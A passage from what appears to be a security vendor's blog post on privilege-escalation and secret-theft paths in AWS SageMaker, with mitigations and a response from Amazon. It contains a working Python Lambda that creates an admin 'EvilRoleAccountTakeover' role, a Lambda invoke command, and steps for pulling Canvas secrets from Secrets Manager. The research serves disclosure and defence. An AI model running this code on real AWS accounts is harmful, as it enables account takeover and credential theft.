a new function from a ZIP file from within the notebook #### 3b. Invoke the Lambda After the Lambda is created, an attacker can invoke the new Lambda by simply running aws lambda invoke --function-name sagemaker-privesc --payload '{}' /dev/null |---|------------------------------------------------------------------------------| | 1 | aws lambda invoke --function-name sagemaker-privesc --payload '{}' /dev/null | The Lambda uses the attached IAM role when it is being invoked. ### Databricks Use Case When onboarding Databricks to an AWS account, a CloudFormation template creates relevant IAM roles and resources to allow Databricks to function. This template grants Databricks certain permissions to the AWS account along with associated cloud resources. One of the resources created is a Lambda function. ![Databricks Lambda function created after running onboarding CloudFormation template](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-17.png) Figure 19: Databricks Lambda function created after running onboarding CloudFormation template The Lambda function gets a bearer token as an input from an event. Depending on the event, it creates resources in Databricks (aka the customer environment). One of the interesting things **is the IAM role that the Lambda uses.** ![AM role created after onboarding](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-18.png) Figure 20: IAM role created after onboarding Trust relationship of the IAM role ![Trust relationship policy for Databricks-created IAM role allows it to be passed to any Lambda](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure21.png) Figure 21: Trust relationship policy for Databricks-created IAM role allows it to be passed to any Lambda and attached policies. ![Showcasing IAM full access policy for Databricks IAM role](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure22.png) Figure 22: Showcasing IAM full access policy for Databricks IAM role ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-20.png) This shows that **every Lambda** can assume this role, which has an administrative privilege of **full IAM access** . An attacker using this attack vector can create a new Lambda that assumes this role. ### **This is an account takeover attack, since the attacker has full IAM privileges and can create a privileged user.** The following code is a Lambda function that creates a new role named **'EvilRoleAccountTakeover'** with**arn:aws:iam::XXXXXXXX:root** in a trust relationship, meaning anyone in the account can assume it.h import json import boto3 def lambda\_handler(event, context): iam = boto3.client('iam') # Define the trust policy for the role trust\_policy = { "Version": "2012-10-17", "Statement": \[ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::XXXXXXXX:root" }, "Action": "sts:AssumeRole" } \] } # Create the role try: response = iam.create\_role( RoleName='EvilRoleAccountTakeover', AssumeRolePolicyDocument=json.dumps(trust\_policy), Description='IAM role created by Lambda with full admin access' ) # Attach the AdministratorAccess policy to the role iam.attach\_role\_policy( RoleName='EvilRoleAccountTakeover', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return { 'statusCode': 200, 'body': json.dumps('Role created successfully!') } except Exception as e: return { 'statusCode': 500, 'body': json.dumps(f'Error creating role: {str(e)}') } |-------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | import json import boto3 def lambda\_handler(event, context): iam = boto3.client('iam') # Define the trust policy for the role trust\_policy = { "Version": "2012-10-17", "Statement": \[ { "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::XXXXXXXX:root" }, "Action": "sts:AssumeRole" } \] } # Create the role try: response = iam.create\_role( RoleName='EvilRoleAccountTakeover', AssumeRolePolicyDocument=json.dumps(trust\_policy), Description='IAM role created by Lambda with full admin access' ) # Attach the AdministratorAccess policy to the role iam.attach\_role\_policy( RoleName='EvilRoleAccountTakeover', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return { 'statusCode': 200, 'body': json.dumps('Role created successfully!') } except Exception as e: return { 'statusCode': 500, 'body': json.dumps(f'Error creating role: {str(e)}') } | ![Demonstration of account takeover using Databricks role from SageMaker notebook](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure23.png) Figure 23: Demonstration of account takeover using Databricks role from SageMaker notebook Running the above python code from a JupyterLab notebook in SageMaker (with the AmazonSageMakerPipelinesIntegrations policy assigned) enables an instant account takeover and the gaining of admin privileges from the notebook itself. ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-21.png) ## Attack Vector 4: Steal Cross-Domain Canvas Secrets ### Background Amazon SageMaker Canvas is a no-code solution for developing models, data preparation, and more. Canvas also allows data ingestion from multiple AWS and third-party resources. SageMaker Canvas stores data source connection details as secrets in AWS Secrets Manager (figure 29) with resource-based policies restricting access. ![Showcasing different Canvas integrations with data sources](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-22.png) Figure 24: Showcasing different Canvas integrations with data sources ![Canvas connection strings stored in Secrets Manager](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-23.png) Figure 25: Canvas connection strings stored in Secrets Manager An attacker can list and retrieve these secrets used across all the domains without any restrictions. This is possible via the secretsmanager:GetSecretValue permission in the **AmazonSageMakerFullAccess** policy and the extent of Canvas' ability to restrict cross-domain access to secrets in the Secrets Manager. An attacker can leak those secrets and gain access to new services (e.g., Databricks, Snowflake, Salesforce) or to data sources that contain sensitive information. ### Attack Flow Summary 1. **List secrets** : Use secretsmanager:ListSecrets to identify SageMaker-related secrets. 2. **Retrieve secret values** : Exploit secretsmanager:GetSecretValue permissions to access stored credentials. #### 4a. List Secrets The secretsmanager:ListSecrets permission is in the **AllowAWSServiceActions**statement, which enables listing secrets without resource restrictions. In **AllowSecretManagerActions** we can get secret values to secrets that start with "**AmazonSageMaker-".** ![Policy statement from AmazonSageMakerFullAccess](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure26.png) Figure 26: Policy statement from **AmazonSageMakerFullAccess** #### 4b. Get SageMaker Secrets Each secret has a resource IAM policy that enables only the Canvas application domain to access it. ![Resource policy from Canvas-stored secret](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure27.png) Figure 27: Resource policy from Canvas-stored secret The policy statement above enables retrieval of the secret only for the execution role tied to the domain and the Canvas application. The **AllowAWSServiceActions**statement has secretsmanager:GetSecretValue permission, so retrieving the secret values can be a combination of: 1. Calling the **GetSecretValue**API on found secrets from step 4a. 2. Using attack vector number 2 to jump to the domain with the secrets ### Mitigation Strategies * Implement strict IAM policies for Secrets Manager access * Use resource-based policies to limit access to secrets * Regularly rotate credentials and monitor secret access ## Attack Vector 5: AWS Resource Group Modification ### Background SageMaker Studio allows you to group and organize registered models into model collections across SageMaker environments. To use this feature, AWS requires a specific [custom IAM policy](https://docs.aws.amazon.com/sagemaker/latest/dg/modelcollections-permissions.html) attached to the current execution role **or the use of the** [**AmazonSageMakerModelRegistryFullAccess**](https://docs.aws.amazon.com/sagemaker/latest/dg/security-iam-awsmanpol-model-registry.html#security-iam-awsmanpol-model-registry-AmazonSageMakerModelRegistryFullAccess)**managed policy.** ![Model collection option from SageMaker Studio](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-26.png) Figure 28: Model collection option from SageMaker Studio The policy grants permission to the resource group service. The AWS Resource Group enables grouping certain resources under a unified group and the management of multiple resources with a single group. This is commonly used in automations, CloudFormation templates, AWS System Manager, and more. Let's take a closer look into the policy: ![](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/word-image-328939-27.png) ![Policy statement from AmazonSageMakerModelRegistryFullAccess](https://www.paloaltonetworks.com/blog/wp-content/uploads/2024/10/Figure29.png) Figure 29: Policy statement from **AmazonSageMakerModelRegistryFullAccess** The policy statements in figure 29 permit users to create new resource groups or tag existing ones with the sagemaker:collection tag. They also allow the deletion of any resource group that carries this tag. This setup poses a security risk. An attacker could tag non-SageMaker resource groups with sagemaker:collection, bringing them under the policy's scope. This means they could delete or alter these groups -- even if they have nothing to do with SageMaker. The core issue is that the policy checks only aws:TagKeys but doesn't validate aws:RequestTag or aws:ResourceTag. Without these additional checks, the policy lacks the precision to ensure that only intended resources are affected. Implementing more granular controls -- such as verifying the actual tags being applied or the tags on the resources themselves -- can enhance security and prevent unauthorized modifications. ### Attack Flow Summary 1. Tag existing AWS Resource Group with **sagemaker:collection** 2. Delete/modify the resource group **The attacker can then do one of the following:** * * Delete the tagged resource group * Disclose resources under the resource group * Delete and create a resource group under different resources #### Mitigation Strategies * Adjust IAM policies to include specific conditions and resource restrictions * Employ tagging best practices to prevent unauthorized modifications * Monitor changes to resource groups ## Message from Amazon Team Amazon provides prescriptive guidance for all aspects of operational excellence, including the peculiar aspects of machine learning. When followed, vulnerabilities described here can be circumvented. Start your journey with the [Machine Learning Lens](https://docs.aws.amazon.com/wellarchitected/latest/machine-learning-lens/machine-learning-lens.html), Amazon's well-architected guide for end-to-end machine learning. The foundation models of generative AI have unique needs that are covered in Amazon's best practices for LLM Ops. Start with the [Generative AI Security Scoping Matrix](https://aws.amazon.com/blogs/security/securing-generative-ai-an-introduction-to-the-generative-ai-security-scoping-matrix/). When necessary, contact an AWS GenAI Security Maven who is continually trained to inform customers of up-to-date best practices. This blog was also shared with our friends at Databricks and we appreciate their comments. ## Mitigating SageMaker Security Risks The attack vectors outlined in this blog underscore the importance of securing every aspect of the Amazon SageMaker environment. As AI and machine learning become increasingly integrated into business operations, safeguarding data and managing permissions meticulously are crucial. Misconfigurations and overprivileged access can lead to severe security breaches, making it imperative to stay vigilant. When using SageMaker, ensure that IAM roles are properly scoped, regularly reviewed, and audited, and stay informed about the latest security practices to protect your AI pipelines and sensitive data from potential threats. Protecting your SageMaker environment requires a multifaceted approach that encompasses best practices in cloud security, AI model management and continuous monitoring. Here are some essential steps to safeguard your AI pipelines. * Review your SageMaker environment and the permissions in every domain. * The **"Set up for organizations"** provides a range of restricted options based on the user persona's actual needs, including AWSSecurityAuditors, AWSServiceCatalogAdmins and AWSSecurityAuditPowerUsers. Choosing these options at the outset, as well as customizing least privileges, is an operational excellence best practice. That practice is not described here. Rather, the "Set up for single user (Quick setup)" is described, which is not recommended for enterprise production use. * Use the Prisma Cloud Code to Cloud security platform to ensure the security and safety of your environment and clients. * Keep up to date with the latest security updates from AWS. ## Learn More Want to learn more about what Prisma Cloud can do?[Book a personalized demo](https://www.paloaltonetworks.com/prisma/cloud/request-a-prisma-cloud-demo). *** ** * ** *** ## Related Blogs ### [AI Security](https://www.paloaltonetworks.com/blog/category/ai-security/?ts=markdown), [AI Security Posture Management](https://www.paloaltonetworks.com/blog/cloud-security/category/ai-security-posture-management/?ts=markdown), [ASPM](https://www.paloaltonetworks.com/blog/cloud-security/category/aspm/?ts=markdown), [CIEM](https://www.paloaltonetworks.com/blog/cloud-security/category/ciem/?ts=markdown), [DSPM](https://www.paloaltonetworks.com/blog/cloud-security/category/dspm/?ts=markdown) [#### AI-SPM Update: 3 New Capabilities for Model Activity, Agentic AI and Software Supply Chain Risks](https://www2.paloaltonetworks.com/blog/cloud-security/aispm-capabilities-enhanced-security/) ### [AI Security](https://www.paloaltonetworks.com/blog/category/ai-security/?ts=markdown), [AI Security Posture Management](https://www.paloaltonetworks.com/blog/cloud-security/category/ai-security-posture-management/?ts=markdown), [DSPM](https://www.paloaltonetworks.com/blog/cloud-security/category/dspm/?ts=markdown) [#### Model Context Protocol (MCP): A Security Overview](https://www2.paloaltonetworks.com/blog/cloud-security/model-context-protocol-mcp-a-security-overview/) ### [AI Security](https://www.paloaltonetworks.com/blog/category/ai-security/?ts=markdown), [AI Security Posture Management](https://www.paloaltonetworks.com/blog/cloud-security/category/ai-security-posture-management/?ts=markdown), [CSPM](https://www.paloaltonetworks.com/blog/cloud-security/category/cspm/?ts=markdown), [DSPM](https://www.paloaltonetworks.com/blog/cloud-security/category/dspm/?ts=markdown) [#### Deploying Secure LLM and RAG Applications with Amazon Bedrock and Prisma Cloud](https://www2.paloaltonetworks.com/blog/cloud-security/deploy-secure-llm-rag-applications/) ### [AI Security](https://www.paloaltonetworks.com/blog/cloud-security/category/ai-security/?ts=markdown), [AI-SPM](https://www.paloaltonetworks.com/blog/cloud-security/category/ai-spm/?ts=markdown), [CIEM](https://www.paloaltonetworks.com/blog/cloud-security/category/ciem/?ts=markdown), [Cloud Security](https://www.paloaltonetworks.com/blog/category/cloud-security/?ts=markdown), [DSPM](https://www.paloaltonetworks.com/blog/cloud-security/category/dspm/?ts=markdown), [Identity Security](https://www.paloaltonetworks.com/blog/cloud-security/category/identity-security/?ts=markdown) [#### Is AI a New Challenge for Cloud Security? Yes and No.](https://www2.paloaltonetworks.com/blog/cloud-security/ai-security-gap-cloud-models-agents/) ### [Data Security](https://www.paloaltonetworks.com/blog/category/data-security/?ts=markdown), [Data Security Posture Management](https://www.paloaltonetworks.com/blog/cloud-security/category/data-security-posture-management/?ts=markdown) [#### Is Your Snowflake Data at Risk? Find and Protect Sensitive Data with DSPM](https://www2.paloaltonetworks.com/blog/cloud-security/protect-sensitive-data-dspm-snowflake/) ### [AI Security](https://www.paloaltonetworks.com/blog/category/ai-security/?ts=markdown), [Data Loss Prevention](https://www.paloaltonetworks.com/blog/category/data-loss-prevention/?ts=markdown), [Data Security](https://www.paloaltonetworks.com/blog/category/data-security/?ts=markdown), [Product Features](https://www.paloaltonetworks.com/blog/sase/category/product-features/?ts=markdown) [#### Eight Data Security Problems Finally Solved in the Browser Era](https://www2.paloaltonetworks.com/blog/sase/eight-data-security-problems-finally-solved-in-the-browser-era/) ### Subscribe to Cloud Security Blogs! Sign up to receive must-read articles, Playbooks of the Week, new feature announcements, and more. ![spinner](https://www2.paloaltonetworks.com/blog/wp-content/themes/panwblog2023/dist/images/ajax-loader.gif) Sign up Please enter a valid email. By submitting this form, you agree to our [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown) and acknowledge our [Privacy Statement](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown). Please look for a confirmation email from us. If you don't receive it in the next 10 minutes, please check your spam folder. This site is protected by reCAPTCHA and the Google [Privacy Policy](https://policies.google.com/privacy) and [Terms of Service](https://policies.google.com/terms) apply. {#footer} {#footer} ## Products and Services * [AI-Powered Network Security Platform](https://www.paloaltonetworks.com/network-security?ts=markdown) * [Secure AI by Design](https://www.paloaltonetworks.com/precision-ai-security/secure-ai-by-design?ts=markdown) * [Prisma AIRS](https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security?ts=markdown) * [AI Access Security](https://www.paloaltonetworks.com/sase/ai-access-security?ts=markdown) * [Cloud Delivered Security Services](https://www.paloaltonetworks.com/network-security/security-subscriptions?ts=markdown) * [Advanced Threat Prevention](https://www.paloaltonetworks.com/network-security/advanced-threat-prevention?ts=markdown) * [Advanced URL Filtering](https://www.paloaltonetworks.com/network-security/advanced-url-filtering?ts=markdown) * [Advanced WildFire](https://www.paloaltonetworks.com/network-security/advanced-wildfire?ts=markdown) * [Advanced DNS Security](https://www.paloaltonetworks.com/network-security/advanced-dns-security?ts=markdown) * [Enterprise Data Loss Prevention](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown) * [Enterprise IoT Security](https://www.paloaltonetworks.com/network-security/enterprise-device-security?ts=markdown) * [Medical IoT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown) * [Industrial OT Security](https://www.paloaltonetworks.com/network-security/medical-device-security?ts=markdown) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown) * [Next-Generation Firewalls](https://www.paloaltonetworks.com/network-security/next-generation-firewall?ts=markdown) * [Hardware Firewalls](https://www.paloaltonetworks.com/network-security/hardware-firewall-innovations?ts=markdown) * [Software Firewalls](https://www.paloaltonetworks.com/network-security/software-firewalls?ts=markdown) * [Strata Cloud Manager](https://www.paloaltonetworks.com/network-security/strata-cloud-manager?ts=markdown) * [SD-WAN for NGFW](https://www.paloaltonetworks.com/network-security/sd-wan-subscription?ts=markdown) * [PAN-OS](https://www.paloaltonetworks.com/network-security/pan-os?ts=markdown) * [Panorama](https://www.paloaltonetworks.com/network-security/panorama?ts=markdown) * [Secure Access Service Edge](https://www.paloaltonetworks.com/sase?ts=markdown) * [Prisma SASE](https://www.paloaltonetworks.com/sase?ts=markdown) * [Application Acceleration](https://www.paloaltonetworks.com/sase/app-acceleration?ts=markdown) * [Autonomous Digital Experience Management](https://www.paloaltonetworks.com/sase/adem?ts=markdown) * [Enterprise DLP](https://www.paloaltonetworks.com/sase/enterprise-data-loss-prevention?ts=markdown) * [Prisma Access](https://www.paloaltonetworks.com/sase/access?ts=markdown) * [Prisma Browser](https://www.paloaltonetworks.com/sase/prisma-browser?ts=markdown) * [Prisma SD-WAN](https://www.paloaltonetworks.com/sase/sd-wan?ts=markdown) * [Remote Browser Isolation](https://www.paloaltonetworks.com/sase/remote-browser-isolation?ts=markdown) * [SaaS Security](https://www.paloaltonetworks.com/sase/saas-security?ts=markdown) * [AI-Driven Security Operations Platform](https://www.paloaltonetworks.com/cortex?ts=markdown) * [Cloud Security](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown) * [Cortex Cloud](https://www.paloaltonetworks.com/cortex/cloud?ts=markdown) * [Application Security](https://www.paloaltonetworks.com/cortex/cloud/application-security?ts=markdown) * [Cloud Posture Security](https://www.paloaltonetworks.com/cortex/cloud/cloud-posture-security?ts=markdown) * [Cloud Runtime Security](https://www.paloaltonetworks.com/cortex/cloud/runtime-security?ts=markdown) * [Prisma Cloud](https://www.paloaltonetworks.com/prisma/cloud?ts=markdown) * [AI-Driven SOC](https://www.paloaltonetworks.com/cortex?ts=markdown) * [Cortex XSIAM](https://www.paloaltonetworks.com/cortex/cortex-xsiam?ts=markdown) * [Cortex XDR](https://www.paloaltonetworks.com/cortex/cortex-xdr?ts=markdown) * [Cortex XSOAR](https://www.paloaltonetworks.com/cortex/cortex-xsoar?ts=markdown) * [Cortex Xpanse](https://www.paloaltonetworks.com/cortex/cortex-xpanse?ts=markdown) * [Unit 42 Managed Detection \& Response](https://www.paloaltonetworks.com/cortex/managed-detection-and-response?ts=markdown) * [Managed XSIAM](https://www.paloaltonetworks.com/cortex/managed-xsiam?ts=markdown) * [Threat Intel and Incident Response Services](https://www.paloaltonetworks.com/unit42?ts=markdown) * [Proactive Assessments](https://www.paloaltonetworks.com/unit42/assess?ts=markdown) * [Incident Response](https://www.paloaltonetworks.com/unit42/respond?ts=markdown) * [Transform Your Security Strategy](https://www.paloaltonetworks.com/unit42/transform?ts=markdown) * [Discover Threat Intelligence](https://www.paloaltonetworks.com/unit42/threat-intelligence-partners?ts=markdown) ## Company * [About Us](https://www.paloaltonetworks.com/about-us?ts=markdown) * [Careers](https://jobs.paloaltonetworks.com/en/) * [Contact Us](https://www.paloaltonetworks.com/company/contact-sales?ts=markdown) * [Corporate Responsibility](https://www.paloaltonetworks.com/about-us/corporate-responsibility?ts=markdown) * [Customers](https://www.paloaltonetworks.com/customers?ts=markdown) * [Investor Relations](https://investors.paloaltonetworks.com/) * [Location](https://www.paloaltonetworks.com/about-us/locations?ts=markdown) * [Newsroom](https://www.paloaltonetworks.com/company/newsroom?ts=markdown) ## Popular Links * [Blog](https://www.paloaltonetworks.com/blog/?ts=markdown) * [Communities](https://www.paloaltonetworks.com/communities?ts=markdown) * [Content Library](https://www.paloaltonetworks.com/resources?ts=markdown) * [Cyberpedia](https://www.paloaltonetworks.com/cyberpedia?ts=markdown) * [Event Center](https://events.paloaltonetworks.com/) * [Manage Email Preferences](https://start.paloaltonetworks.com/preference-center) * [Products A-Z](https://www.paloaltonetworks.com/products/products-a-z?ts=markdown) * [Product Certifications](https://www.paloaltonetworks.com/legal-notices/trust-center/compliance?ts=markdown) * [Report a Vulnerability](https://www.paloaltonetworks.com/security-disclosure?ts=markdown) * [Sitemap](https://www.paloaltonetworks.com/sitemap?ts=markdown) * [Tech Docs](https://docs.paloaltonetworks.com/) * [Unit 42](https://unit42.paloaltonetworks.com/) * [Do Not Sell or Share My Personal Information](https://panwedd.exterro.net/portal/dsar.htm?target=panwedd) ![PAN logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg) * [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy?ts=markdown) * [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center?ts=markdown) * [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use?ts=markdown) * [Documents](https://www.paloaltonetworks.com/legal?ts=markdown) Copyright © 2026 Palo Alto Networks. All Rights Reserved * [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks) * [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector?ts=markdown) * [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/) * [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks) * [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks) * EN Select your language